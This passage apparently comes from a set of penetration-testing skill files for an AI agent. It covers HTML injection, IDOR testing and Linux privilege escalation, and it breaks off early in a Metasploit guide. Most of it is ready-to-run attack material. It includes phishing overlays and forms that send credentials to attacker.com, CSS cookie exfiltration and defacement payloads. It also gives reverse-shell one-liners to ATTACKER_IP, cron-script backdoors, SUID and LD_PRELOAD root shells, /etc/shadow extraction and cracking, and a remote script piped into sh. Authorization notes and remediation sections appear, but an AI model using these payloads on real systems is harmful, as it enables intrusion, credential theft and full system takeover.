curl -X POST -d "comment=<div style='color:red'>Malicious Content</div>" \
http://target.com/submit
# Form field injection
curl -X POST -d "name=<script>alert(1)</script>&email=test@test.com" \
http://target.com/register
```
#### URL-Based Injection
Inject into displayed URLs:
```html
<!-- If URL is displayed on page -->
http://target.com/page/<h1>Injected</h1>
<!-- Path-based injection -->
http://target.com/users/<img src=x>/profile
```
### Phase 5: Phishing Attack Construction
Create convincing phishing forms:
```html
<!-- Fake login form overlay -->
<div style="position:fixed;top:0;left:0;width:100%;height:100%;
background:white;z-index:9999;padding:50px;">
<h2>Session Expired</h2>
<p>Your session has expired. Please log in again.</p>
<form action="http://attacker.com/capture" method="POST">
<label>Username:</label><br>
<input type="text" name="username" style="width:200px;"><br><br>
<label>Password:</label><br>
<input type="password" name="password" style="width:200px;"><br><br>
<input type="submit" value="Login">
</form>
</div>
<!-- Hidden credential stealer -->
<style>
input { background: url('http://attacker.com/log?data=') }
</style>
<form action="http://attacker.com/steal" method="POST">
<input name="user" placeholder="Verify your username">
<input name="pass" type="password" placeholder="Verify your password">
<button>Verify</button>
</form>
```
URL-encoded phishing link:
```
http://target.com/page?msg=%3Cdiv%20style%3D%22position%3Afixed%3Btop%3A0%3Bleft%3A0%3Bwidth%3A100%25%3Bheight%3A100%25%3Bbackground%3Awhite%3Bz-index%3A9999%3Bpadding%3A50px%3B%22%3E%3Ch2%3ESession%20Expired%3C%2Fh2%3E%3Cform%20action%3D%22http%3A%2F%2Fattacker.com%2Fcapture%22%3E%3Cinput%20name%3D%22user%22%20placeholder%3D%22Username%22%3E%3Cinput%20name%3D%22pass%22%20type%3D%22password%22%3E%3Cbutton%3ELogin%3C%2Fbutton%3E%3C%2Fform%3E%3C%2Fdiv%3E
```
### Phase 6: Defacement Payloads
Website appearance manipulation:
```html
<!-- Full page overlay -->
<div style="position:fixed;top:0;left:0;width:100%;height:100%;
background:#000;color:#0f0;z-index:9999;
display:flex;justify-content:center;align-items:center;">
<h1>HACKED BY SECURITY TESTER</h1>
</div>
<!-- Content replacement -->
<style>body{display:none}</style>
<body style="display:block !important">
<h1>This site has been compromised</h1>
</body>
<!-- Image injection -->
<img src="http://attacker.com/defaced.jpg"
style="position:fixed;top:0;left:0;width:100%;height:100%;z-index:9999">
<!-- Marquee injection (visible movement) -->
<marquee behavior="alternate" style="font-size:50px;color:red;">
SECURITY VULNERABILITY DETECTED
</marquee>
```
### Phase 7: Advanced Injection Techniques
#### CSS Injection
```html
<!-- Style injection -->
<style>
body { background: url('http://attacker.com/track?cookie='+document.cookie) }
.content { display: none }
.fake-content { display: block }
</style>
<!-- Inline style injection -->
<div style="background:url('http://attacker.com/log')">Content</div>
```
#### Meta Tag Injection
```html
<!-- Redirect via meta refresh -->
<meta http-equiv="refresh" content="0;url=http://attacker.com/phish">
<!-- CSP bypass attempt -->
<meta http-equiv="Content-Security-Policy" content="default-src *">
```
#### Form Action Override
```html
<!-- Hijack existing form -->
<form action="http://attacker.com/steal">
<!-- If form already exists, add input -->
<input type="hidden" name="extra" value="data">
</form>
```
#### iframe Injection
```html
<!-- Embed external content -->
<iframe src="http://attacker.com/malicious" width="100%" height="500"></iframe>
<!-- Invisible tracking iframe -->
<iframe src="http://attacker.com/track" style="display:none"></iframe>
```
### Phase 8: Bypass Techniques
Evade basic filters:
```html
<!-- Case variations -->
<H1>Test</H1>
<ScRiPt>alert(1)</ScRiPt>
<!-- Encoding variations -->
&#60;h1&#62;Encoded&#60;/h1&#62;
%3Ch1%3EURL%20Encoded%3C%2Fh1%3E
<!-- Tag splitting -->
<h
1>Split Tag</h1>
<!-- Null bytes -->
<h1%00>Null Byte</h1>
<!-- Double encoding -->
%253Ch1%253EDouble%2520Encoded%253C%252Fh1%253E
<!-- Unicode encoding -->
\u003ch1\u003eUnicode\u003c/h1\u003e
<!-- Attribute-based -->
<div onmouseover="alert(1)">Hover me</div>
<img src=x onerror=alert(1)>
```
### Phase 9: Automated Testing
#### Using Burp Suite
```
1. Capture request with potential injection point
2. Send to Intruder
3. Mark parameter value as payload position
4. Load HTML injection wordlist
5. Start attack
6. Filter responses for rendered HTML
7. Manually verify successful injections
```
#### Using OWASP ZAP
```
1. Spider the target application
2. Active Scan with HTML injection rules
3. Review Alerts for injection findings
4. Validate findings manually
```
#### Custom Fuzzing Script
```python
#!/usr/bin/env python3
import requests
import urllib.parse
target = "http://target.com/search"
param = "q"
payloads = [
"<h1>Test</h1>",
"<b>Bold</b>",
"<script>alert(1)</script>",
"<img src=x onerror=alert(1)>",
"<a href='http://evil.com'>Click</a>",
"<div style='color:red'>Styled</div>",
"<marquee>Moving</marquee>",
"<iframe src='http://evil.com'></iframe>",
]
for payload in payloads:
encoded = urllib.parse.quote(payload)
url = f"{target}?{param}={encoded}"
try:
response = requests.get(url, timeout=5)
if payload.lower() in response.text.lower():
print(f"[+] Possible injection: {payload}")
elif "<h1>" in response.text or "<b>" in response.text:
print(f"[?] Partial reflection: {payload}")
except Exception as e:
print(f"[-] Error: {e}")
```
### Phase 10: Prevention and Remediation
Secure coding practices:
```php
// PHP: Escape output
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
// PHP: Strip tags
echo strip_tags($user_input);
// PHP: Allow specific tags only
echo strip_tags($user_input, '<p><b><i>');
```
```python
# Python: HTML escape
from html import escape
safe_output = escape(user_input)
# Python Flask: Auto-escaping
{{ user_input }} # Jinja2 escapes by default
{{ user_input | safe }} # Marks as safe (dangerous!)
```
```javascript
// JavaScript: Text content (safe)
element.textContent = userInput;
// JavaScript: innerHTML (dangerous!)
element.innerHTML = userInput; // Vulnerable!
// JavaScript: Sanitize
const clean = DOMPurify.sanitize(userInput);
element.innerHTML = clean;
```
Server-side protections:
- Input validation (whitelist allowed characters)
- Output encoding (context-aware escaping)
- Content Security Policy (CSP) headers
- Web Application Firewall (WAF) rules
## Quick Reference
### Common Test Payloads
| Payload | Purpose |
|---------|---------|
| `<h1>Test</h1>` | Basic rendering test |
| `<b>Bold</b>` | Simple formatting |
| `<a href="evil.com">Link</a>` | Link injection |
| `<img src=x>` | Image tag test |
| `<div style="color:red">` | Style injection |
| `<form action="evil.com">` | Form hijacking |
### Injection Contexts
| Context | Test Approach |
|---------|---------------|
| URL parameter | `?param=<h1>test</h1>` |
| Form field | POST with HTML payload |
| Cookie value | Inject via document.cookie |
| HTTP header | Inject in Referer/User-Agent |
| File upload | HTML file with malicious content |
### Encoding Types
| Type | Example |
|------|---------|
| URL encoding | `%3Ch1%3E` = `<h1>` |
| HTML entities | `&#60;h1&#62;` = `<h1>` |
| Double encoding | `%253C` = `<` |
| Unicode | `\u003c` = `<` |
## Constraints and Limitations
### Attack Limitations
- Modern browsers may sanitize some injections
- CSP can prevent inline styles and scripts
- WAFs may block common payloads
- Some applications escape output properly
### Testing Considerations
- Distinguish between HTML injection and XSS
- Verify visual impact in browser
- Test in multiple browsers
- Check for stored vs reflected
### Severity Assessment
- Lower severity than XSS (no script execution)
- Higher impact when combined with phishing
- Consider defacement/reputation damage
- Evaluate credential theft potential
## Troubleshooting
| Issue | Solutions |
|-------|-----------|
| HTML not rendering | Check if output HTML-encoded; try encoding variations; verify HTML context |
| Payload stripped | Use encoding variations; try tag splitting; test null bytes; nested tags |
| XSS not working (HTML only) | JS filtered but HTML allowed; leverage phishing forms, meta refresh redirects |

View File

@@ -0,0 +1,439 @@
---
name: IDOR Vulnerability Testing
description: This skill should be used when the user asks to "test for insecure direct object references," "find IDOR vulnerabilities," "exploit broken access control," "enumerate user IDs or object references," or "bypass authorization to access other users' data." It provides comprehensive guidance for detecting, exploiting, and remediating IDOR vulnerabilities in web applications.
---
# IDOR Vulnerability Testing
## Purpose
Provide systematic methodologies for identifying and exploiting Insecure Direct Object Reference (IDOR) vulnerabilities in web applications. This skill covers both database object references and static file references, detection techniques using parameter manipulation and enumeration, exploitation via Burp Suite, and remediation strategies for securing applications against unauthorized access.
## Inputs / Prerequisites
- **Target Web Application**: URL of application with user-specific resources
- **Multiple User Accounts**: At least two test accounts to verify cross-user access
- **Burp Suite or Proxy Tool**: Intercepting proxy for request manipulation
- **Authorization**: Written permission for security testing
- **Understanding of Application Flow**: Knowledge of how objects are referenced (IDs, filenames)
## Outputs / Deliverables
- **IDOR Vulnerability Report**: Documentation of discovered access control bypasses
- **Proof of Concept**: Evidence of unauthorized data access across user contexts
- **Affected Endpoints**: List of vulnerable API endpoints and parameters
- **Impact Assessment**: Classification of data exposure severity
- **Remediation Recommendations**: Specific fixes for identified vulnerabilities
## Core Workflow
### 1. Understand IDOR Vulnerability Types
#### Direct Reference to Database Objects
Occurs when applications reference database records via user-controllable parameters:
```
# Original URL (authenticated as User A)
example.com/user/profile?id=2023
# Manipulation attempt (accessing User B's data)
example.com/user/profile?id=2022
```
#### Direct Reference to Static Files
Occurs when applications expose file paths or names that can be enumerated:
```
# Original URL (User A's receipt)
example.com/static/receipt/205.pdf
# Manipulation attempt (User B's receipt)
example.com/static/receipt/200.pdf
```
### 2. Reconnaissance and Setup
#### Create Multiple Test Accounts
```
Account 1: "attacker" - Primary testing account
Account 2: "victim" - Account whose data we attempt to access
```
#### Identify Object References
Capture and analyze requests containing:
- Numeric IDs in URLs: `/api/user/123`
- Numeric IDs in parameters: `?id=123&action=view`
- Numeric IDs in request body: `{"userId": 123}`
- File paths: `/download/receipt_123.pdf`
- GUIDs/UUIDs: `/profile/a1b2c3d4-e5f6-...`
#### Map User IDs
```
# Access user ID endpoint (if available)
GET /api/user-id/
# Note ID patterns:
# - Sequential integers (1, 2, 3...)
# - Auto-incremented values
# - Predictable patterns
```
### 3. Detection Techniques
#### URL Parameter Manipulation
```
# Step 1: Capture original authenticated request
GET /api/user/profile?id=1001 HTTP/1.1
Cookie: session=attacker_session
# Step 2: Modify ID to target another user
GET /api/user/profile?id=1000 HTTP/1.1
Cookie: session=attacker_session
# Vulnerable if: Returns victim's data with attacker's session
```
#### Request Body Manipulation
```
# Original POST request
POST /api/address/update HTTP/1.1
Content-Type: application/json
Cookie: session=attacker_session
{"id": 5, "userId": 1001, "address": "123 Attacker St"}
# Modified request targeting victim
{"id": 5, "userId": 1000, "address": "123 Attacker St"}
```
#### HTTP Method Switching
```
# Original GET request may be protected
GET /api/admin/users/1000 → 403 Forbidden
# Try alternative methods
POST /api/admin/users/1000 → 200 OK (Vulnerable!)
PUT /api/admin/users/1000 → 200 OK (Vulnerable!)
```
### 4. Exploitation with Burp Suite
#### Manual Exploitation
```
1. Configure browser proxy through Burp Suite
2. Login as "attacker" user
3. Navigate to profile/data page
4. Enable Intercept in Proxy tab
5. Capture request with user ID
6. Modify ID to victim's ID
7. Forward request
8. Observe response for victim's data
```
#### Automated Enumeration with Intruder
```
1. Send request to Intruder (Ctrl+I)
2. Clear all payload positions
3. Select ID parameter as payload position
4. Configure attack type: Sniper
5. Payload settings:
- Type: Numbers
- Range: 1 to 10000
- Step: 1
6. Start attack
7. Analyze responses for 200 status codes
```
#### Battering Ram Attack for Multiple Positions
```
# When same ID appears in multiple locations
PUT /api/addresses/§5§/update HTTP/1.1
{"id": §5§, "userId": 3}
Attack Type: Battering Ram
Payload: Numbers 1-1000
```
### 5. Common IDOR Locations
#### API Endpoints
```
/api/user/{id}
/api/profile/{id}
/api/order/{id}
/api/invoice/{id}
/api/document/{id}
/api/message/{id}
/api/address/{id}/update
/api/address/{id}/delete
```
#### File Downloads
```
/download/invoice_{id}.pdf
/static/receipts/{id}.pdf
/uploads/documents/{filename}
/files/reports/report_{date}_{id}.xlsx
```
#### Query Parameters
```
?userId=123
?orderId=456
?documentId=789
?file=report_123.pdf
?account=user@email.com
```
## Quick Reference
### IDOR Testing Checklist
| Test | Method | Indicator of Vulnerability |
|------|--------|---------------------------|
| Increment/Decrement ID | Change `id=5` to `id=4` | Returns different user's data |
| Use Victim's ID | Replace with known victim ID | Access granted to victim's resources |
| Enumerate Range | Test IDs 1-1000 | Find valid records of other users |
| Negative Values | Test `id=-1` or `id=0` | Unexpected data or errors |
| Large Values | Test `id=99999999` | System information disclosure |
| String IDs | Change format `id=user_123` | Logic bypass |
| GUID Manipulation | Modify UUID portions | Predictable UUID patterns |
### Response Analysis
| Status Code | Interpretation |
|-------------|----------------|
| 200 OK | Potential IDOR - verify data ownership |
| 403 Forbidden | Access control working |
| 404 Not Found | Resource doesn't exist |
| 401 Unauthorized | Authentication required |
| 500 Error | Potential input validation issue |
### Common Vulnerable Parameters
| Parameter Type | Examples |
|----------------|----------|
| User identifiers | `userId`, `uid`, `user_id`, `account` |
| Resource identifiers | `id`, `pid`, `docId`, `fileId` |
| Order/Transaction | `orderId`, `transactionId`, `invoiceId` |
| Message/Communication | `messageId`, `threadId`, `chatId` |
| File references | `filename`, `file`, `document`, `path` |
## Constraints and Limitations
### Operational Boundaries
- Requires at least two valid user accounts for verification
- Some applications use session-bound tokens instead of IDs
- GUID/UUID references harder to enumerate but not impossible
- Rate limiting may restrict enumeration attempts
- Some IDOR requires chained vulnerabilities to exploit
### Detection Challenges
- Horizontal privilege escalation (user-to-user) vs vertical (user-to-admin)
- Blind IDOR where response doesn't confirm access
- Time-based IDOR in asynchronous operations
- IDOR in websocket communications
### Legal Requirements
- Only test applications with explicit authorization
- Document all testing activities and findings
- Do not access, modify, or exfiltrate real user data
- Report findings through proper disclosure channels
## Examples
### Example 1: Basic ID Parameter IDOR
```
# Login as attacker (userId=1001)
# Navigate to profile page
# Original request
GET /api/profile?id=1001 HTTP/1.1
Cookie: session=abc123
# Response: Attacker's profile data
# Modified request (targeting victim userId=1000)
GET /api/profile?id=1000 HTTP/1.1
Cookie: session=abc123
# Vulnerable Response: Victim's profile data returned!
```
### Example 2: IDOR in Address Update Endpoint
```
# Intercept address update request
PUT /api/addresses/5/update HTTP/1.1
Content-Type: application/json
Cookie: session=attacker_session
{
"id": 5,
"userId": 1001,
"street": "123 Main St",
"city": "Test City"
}
# Modify userId to victim's ID
{
"id": 5,
"userId": 1000, # Changed from 1001
"street": "Hacked Address",
"city": "Exploit City"
}
# If 200 OK: Address created under victim's account
```
### Example 3: Static File IDOR
```
# Download own receipt
GET /api/download/5 HTTP/1.1
Cookie: session=attacker_session
# Response: PDF of attacker's receipt (order #5)
# Attempt to access other receipts
GET /api/download/3 HTTP/1.1
Cookie: session=attacker_session
# Vulnerable Response: PDF of victim's receipt (order #3)!
```
### Example 4: Burp Intruder Enumeration
```
# Configure Intruder attack
Target: PUT /api/addresses/§1§/update
Payload Position: Address ID in URL and body
Attack Configuration:
- Type: Battering Ram
- Payload: Numbers 0-20, Step 1
Body Template:
{
"id": §1§,
"userId": 3
}
# Analyze results:
# - 200 responses indicate successful modification
# - Check victim's account for new addresses
```
### Example 5: Horizontal to Vertical Escalation
```
# Step 1: Enumerate user roles
GET /api/user/1 → {"role": "user", "id": 1}
GET /api/user/2 → {"role": "user", "id": 2}
GET /api/user/3 → {"role": "admin", "id": 3}
# Step 2: Access admin functions with discovered ID
GET /api/admin/dashboard?userId=3 HTTP/1.1
Cookie: session=regular_user_session
# If accessible: Vertical privilege escalation achieved
```
## Troubleshooting
### Issue: All Requests Return 403 Forbidden
**Cause**: Server-side access control is implemented
**Solution**:
```
# Try alternative attack vectors:
1. HTTP method switching (GET → POST → PUT)
2. Add X-Original-URL or X-Rewrite-URL headers
3. Try parameter pollution: ?id=1001&id=1000
4. URL encoding variations: %31%30%30%30 for "1000"
5. Case variations for string IDs
```
### Issue: Application Uses UUIDs Instead of Sequential IDs
**Cause**: Randomized identifiers reduce enumeration risk
**Solution**:
```
# UUID discovery techniques:
1. Check response bodies for leaked UUIDs
2. Search JavaScript files for hardcoded UUIDs
3. Check API responses that list multiple objects
4. Look for UUID patterns in error messages
5. Try UUID v1 (time-based) prediction if applicable
```
### Issue: Session Token Bound to User
**Cause**: Application validates session against requested resource
**Solution**:
```
# Advanced bypass attempts:
1. Test for IDOR in unauthenticated endpoints
2. Check password reset/email verification flows
3. Look for IDOR in file upload/download
4. Test API versioning: /api/v1/ vs /api/v2/
5. Check mobile API endpoints (often less protected)
```
### Issue: Rate Limiting Blocks Enumeration
**Cause**: Application implements request throttling
**Solution**:
```
# Bypass techniques:
1. Add delays between requests (Burp Intruder throttle)
2. Rotate IP addresses (proxy chains)
3. Target specific high-value IDs instead of full range
4. Use different endpoints for same resources
5. Test during off-peak hours
```
### Issue: Cannot Verify IDOR Impact
**Cause**: Response doesn't clearly indicate data ownership
**Solution**:
```
# Verification methods:
1. Create unique identifiable data in victim account
2. Look for PII markers (name, email) in responses
3. Compare response lengths between users
4. Check for timing differences in responses
5. Use secondary indicators (creation dates, metadata)
```
## Remediation Guidance
### Implement Proper Access Control
```python
# Django example - validate ownership
def update_address(request, address_id):
address = Address.objects.get(id=address_id)
# Verify ownership before allowing update
if address.user != request.user:
return HttpResponseForbidden("Unauthorized")
# Proceed with update
address.update(request.data)
```
### Use Indirect References
```python
# Instead of: /api/address/123
# Use: /api/address/current-user/billing
def get_address(request):
# Always filter by authenticated user
address = Address.objects.filter(user=request.user).first()
return address
```
### Server-Side Validation
```python
# Always validate on server, never trust client input
def download_receipt(request, receipt_id):
receipt = Receipt.objects.filter(
id=receipt_id,
user=request.user # Critical: filter by current user
).first()
if not receipt:
return HttpResponseNotFound()
return FileResponse(receipt.file)
```

View File

@@ -0,0 +1,501 @@
---
name: Linux Privilege Escalation
description: This skill should be used when the user asks to "escalate privileges on Linux", "find privesc vectors on Linux systems", "exploit sudo misconfigurations", "abuse SUID binaries", "exploit cron jobs for root access", "enumerate Linux systems for privilege escalation", or "gain root access from low-privilege shell". It provides comprehensive techniques for identifying and exploiting privilege escalation paths on Linux systems.
---
# Linux Privilege Escalation
## Purpose
Execute systematic privilege escalation assessments on Linux systems to identify and exploit misconfigurations, vulnerable services, and security weaknesses that allow elevation from low-privilege user access to root-level control. This skill enables comprehensive enumeration and exploitation of kernel vulnerabilities, sudo misconfigurations, SUID binaries, cron jobs, capabilities, PATH hijacking, and NFS weaknesses.
## Inputs / Prerequisites
### Required Access
- Low-privilege shell access to target Linux system
- Ability to execute commands (interactive or semi-interactive shell)
- Network access for reverse shell connections (if needed)
- Attacker machine for payload hosting and receiving shells
### Technical Requirements
- Understanding of Linux filesystem permissions and ownership
- Familiarity with common Linux utilities and scripting
- Knowledge of kernel versions and associated vulnerabilities
- Basic understanding of compilation (gcc) for custom exploits
### Recommended Tools
- LinPEAS, LinEnum, or Linux Smart Enumeration scripts
- Linux Exploit Suggester (LES)
- GTFOBins reference for binary exploitation
- John the Ripper or Hashcat for password cracking
- Netcat or similar for reverse shells
## Outputs / Deliverables
### Primary Outputs
- Root shell access on target system
- Privilege escalation path documentation
- System enumeration findings report
- Recommendations for remediation
### Evidence Artifacts
- Screenshots of successful privilege escalation
- Command output logs demonstrating root access
- Identified vulnerability details
- Exploited configuration files
## Core Workflow
### Phase 1: System Enumeration
#### Basic System Information
Gather fundamental system details for vulnerability research:
```bash
# Hostname and system role
hostname
# Kernel version and architecture
uname -a
# Detailed kernel information
cat /proc/version
# Operating system details
cat /etc/issue
cat /etc/*-release
# Architecture
arch
```
#### User and Permission Enumeration
```bash
# Current user context
whoami
id
# Users with login shells
cat /etc/passwd | grep -v nologin | grep -v false
# Users with home directories
cat /etc/passwd | grep home
# Group memberships
groups
# Other logged-in users
w
who
```
#### Network Information
```bash
# Network interfaces
ifconfig
ip addr
# Routing table
ip route
# Active connections
netstat -antup
ss -tulpn
# Listening services
netstat -l
```
#### Process and Service Enumeration
```bash
# All running processes
ps aux
ps -ef
# Process tree view
ps axjf
# Services running as root
ps aux | grep root
```
#### Environment Variables
```bash
# Full environment
env
# PATH variable (for hijacking)
echo $PATH
```
### Phase 2: Automated Enumeration
Deploy automated scripts for comprehensive enumeration:
```bash
# LinPEAS
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
# LinEnum
./LinEnum.sh -t
# Linux Smart Enumeration
./lse.sh -l 1
# Linux Exploit Suggester
./les.sh
```
Transfer scripts to target system:
```bash
# On attacker machine
python3 -m http.server 8000
# On target machine
wget http://ATTACKER_IP:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
```
### Phase 3: Kernel Exploits
#### Identify Kernel Version
```bash
uname -r
cat /proc/version
```
#### Search for Exploits
```bash
# Use Linux Exploit Suggester
./linux-exploit-suggester.sh
# Manual search on exploit-db
searchsploit linux kernel [version]
```
#### Common Kernel Exploits
| Kernel Version | Exploit | CVE |
|---------------|---------|-----|
| 2.6.x - 3.x | Dirty COW | CVE-2016-5195 |
| 4.4.x - 4.13.x | Double Fetch | CVE-2017-16995 |
| 5.8+ | Dirty Pipe | CVE-2022-0847 |
#### Compile and Execute
```bash
# Transfer exploit source
wget http://ATTACKER_IP/exploit.c
# Compile on target
gcc exploit.c -o exploit
# Execute
./exploit
```
### Phase 4: Sudo Exploitation
#### Enumerate Sudo Privileges
```bash
sudo -l
```
#### GTFOBins Sudo Exploitation
Reference https://gtfobins.github.io for exploitation commands:
```bash
# Example: vim with sudo
sudo vim -c ':!/bin/bash'
# Example: find with sudo
sudo find . -exec /bin/sh \; -quit
# Example: awk with sudo
sudo awk 'BEGIN {system("/bin/bash")}'
# Example: python with sudo
sudo python -c 'import os; os.system("/bin/bash")'
# Example: less with sudo
sudo less /etc/passwd
!/bin/bash
```
#### LD_PRELOAD Exploitation
When env_keep includes LD_PRELOAD:
```c
// shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
```
```bash
# Compile shared library
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
# Execute with sudo
sudo LD_PRELOAD=/tmp/shell.so find
```
### Phase 5: SUID Binary Exploitation
#### Find SUID Binaries
```bash
find / -type f -perm -04000 -ls 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
```
#### Exploit SUID Binaries
Reference GTFOBins for SUID exploitation:
```bash
# Example: base64 for file reading
LFILE=/etc/shadow
base64 "$LFILE" | base64 -d
# Example: cp for file writing
cp /bin/bash /tmp/bash
chmod +s /tmp/bash
/tmp/bash -p
# Example: find with SUID
find . -exec /bin/sh -p \; -quit
```
#### Password Cracking via SUID
```bash
# Read shadow file (if base64 has SUID)
base64 /etc/shadow | base64 -d > shadow.txt
base64 /etc/passwd | base64 -d > passwd.txt
# On attacker machine
unshadow passwd.txt shadow.txt > hashes.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
```
#### Add User to passwd (if nano/vim has SUID)
```bash
# Generate password hash
openssl passwd -1 -salt new newpassword
# Add to /etc/passwd (using SUID editor)
newuser:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash
```
### Phase 6: Capabilities Exploitation
#### Enumerate Capabilities
```bash
getcap -r / 2>/dev/null
```
#### Exploit Capabilities
```bash
# Example: python with cap_setuid
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# Example: vim with cap_setuid
./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/bash", "bash", "-c", "reset; exec bash")'
# Example: perl with cap_setuid
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
```
### Phase 7: Cron Job Exploitation
#### Enumerate Cron Jobs
```bash
# System crontab
cat /etc/crontab
# User crontabs
ls -la /var/spool/cron/crontabs/
# Cron directories
ls -la /etc/cron.*
# Systemd timers
systemctl list-timers
```
#### Exploit Writable Cron Scripts
```bash
# Identify writable cron script from /etc/crontab
ls -la /opt/backup.sh # Check permissions
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /opt/backup.sh
# If cron references non-existent script in writable PATH
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > /home/user/antivirus.sh
chmod +x /home/user/antivirus.sh
```
### Phase 8: PATH Hijacking
```bash
# Find SUID binary calling external command
strings /usr/local/bin/suid-binary
# Shows: system("service apache2 start")
# Hijack by creating malicious binary in writable PATH
export PATH=/tmp:$PATH
echo -e '#!/bin/bash\n/bin/bash -p' > /tmp/service
chmod +x /tmp/service
/usr/local/bin/suid-binary # Execute SUID binary
```
### Phase 9: NFS Exploitation
```bash
# On target - look for no_root_squash option
cat /etc/exports
# On attacker - mount share and create SUID binary
showmount -e TARGET_IP
mount -o rw TARGET_IP:/share /tmp/nfs
# Create and compile SUID shell
echo 'int main(){setuid(0);setgid(0);system("/bin/bash");return 0;}' > /tmp/nfs/shell.c
gcc /tmp/nfs/shell.c -o /tmp/nfs/shell && chmod +s /tmp/nfs/shell
# On target - execute
/share/shell
```
## Quick Reference
### Enumeration Commands Summary
| Purpose | Command |
|---------|---------|
| Kernel version | `uname -a` |
| Current user | `id` |
| Sudo rights | `sudo -l` |
| SUID files | `find / -perm -u=s -type f 2>/dev/null` |
| Capabilities | `getcap -r / 2>/dev/null` |
| Cron jobs | `cat /etc/crontab` |
| Writable dirs | `find / -writable -type d 2>/dev/null` |
| NFS exports | `cat /etc/exports` |
### Reverse Shell One-Liners
```bash
# Bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
# Python
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
# Netcat
nc -e /bin/bash ATTACKER_IP 4444
# Perl
perl -e 'use Socket;$i="ATTACKER_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");'
```
### Key Resources
- GTFOBins: https://gtfobins.github.io
- LinPEAS: https://github.com/carlospolop/PEASS-ng
- Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester
## Constraints and Guardrails
### Operational Boundaries
- Verify kernel exploits in test environment before production use
- Failed kernel exploits may crash the system
- Document all changes made during privilege escalation
- Maintain access persistence only as authorized
### Technical Limitations
- Modern kernels may have exploit mitigations (ASLR, SMEP, SMAP)
- AppArmor/SELinux may restrict exploitation techniques
- Container environments limit kernel-level exploits
- Hardened systems may have restricted sudo configurations
### Legal and Ethical Requirements
- Written authorization required before testing
- Stay within defined scope boundaries
- Report critical findings immediately
- Do not access data beyond scope requirements
## Examples
### Example 1: Sudo to Root via find
**Scenario**: User has sudo rights for find command
```bash
$ sudo -l
User user may run the following commands:
(root) NOPASSWD: /usr/bin/find
$ sudo find . -exec /bin/bash \; -quit
# id
uid=0(root) gid=0(root) groups=0(root)
```
### Example 2: SUID base64 for Shadow Access
**Scenario**: base64 binary has SUID bit set
```bash
$ find / -perm -u=s -type f 2>/dev/null | grep base64
/usr/bin/base64
$ base64 /etc/shadow | base64 -d
root:$6$xyz...:18000:0:99999:7:::
# Crack offline with john
$ john --wordlist=rockyou.txt shadow.txt
```
### Example 3: Cron Job Script Hijacking
**Scenario**: Root cron job executes writable script
```bash
$ cat /etc/crontab
* * * * * root /opt/scripts/backup.sh
$ ls -la /opt/scripts/backup.sh
-rwxrwxrwx 1 root root 50 /opt/scripts/backup.sh
$ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /opt/scripts/backup.sh
# Wait 1 minute
$ /tmp/bash -p
# id
uid=1000(user) gid=1000(user) euid=0(root)
```
## Troubleshooting
| Issue | Solutions |
|-------|-----------|
| Exploit compilation fails | Check for gcc: `which gcc`; compile on attacker for same arch; use `gcc -static` |
| Reverse shell not connecting | Check firewall; try ports 443/80; use staged payloads; check egress filtering |
| SUID binary not exploitable | Verify version matches GTFOBins; check AppArmor/SELinux; some binaries drop privileges |
| Cron job not executing | Verify cron running: `service cron status`; check +x permissions; verify PATH in crontab |

View File

@@ -0,0 +1,475 @@
---
name: Metasploit Framework
description: This skill should be used when the user asks to "use Metasploit for penetration testing", "exploit vulnerabilities with msfconsole", "create payloads with msfvenom", "perform post-exploitation", "use auxiliary modules for scanning", or "develop custom exploits". It provides comprehensive guidance for leveraging the Metasploit Framework in security assessments.
---
# Metasploit Framework
## Purpose
Leverage the Metasploit Framework for comprehensive penetration testing, from initial exploitation through post-exploitation activities. Metasploit provides a unified platform for vulnerability exploitation, payload generation, auxiliary scanning, and maintaining access to compromised systems during authorized security assessments.
## Prerequisites
### Required Tools
```bash
# Metasploit comes pre-installed on Kali Linux
# For other systems:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
./msfinstall
# Start PostgreSQL for database support
sudo systemctl start postgresql
sudo msfdb init
```
### Required Knowledge
- Network and system fundamentals
- Understanding of vulnerabilities and exploits
- Basic programming concepts
- Target enumeration techniques
### Required Access
- Written authorization for testing
- Network access to target systems
- Understanding of scope and rules of engagement
## Outputs and Deliverables
1. **Exploitation Evidence** - Screenshots and logs of successful compromises
2. **Session Logs** - Command history and extracted data
3. **Vulnerability Mapping** - Exploited vulnerabilities with CVE references
4. **Post-Exploitation Artifacts** - Credentials, files, and system information
## Core Workflow
### Phase 1: MSFConsole Basics
Launch and navigate the Metasploit console:
```bash
# Start msfconsole
msfconsole
# Quiet mode (skip banner)
msfconsole -q
# Basic navigation commands
msf6 > help # Show all commands
msf6 > search [term] # Search modules
msf6 > use [module] # Select module
msf6 > info # Show module details
msf6 > show options # Display required options
msf6 > set [OPTION] [value] # Configure option
msf6 > run / exploit # Execute module
msf6 > back # Return to main console
msf6 > exit # Exit msfconsole
```
### Phase 2: Module Types
Understand the different module categories:
```bash
# 1. Exploit Modules - Target specific vulnerabilities
msf6 > show exploits
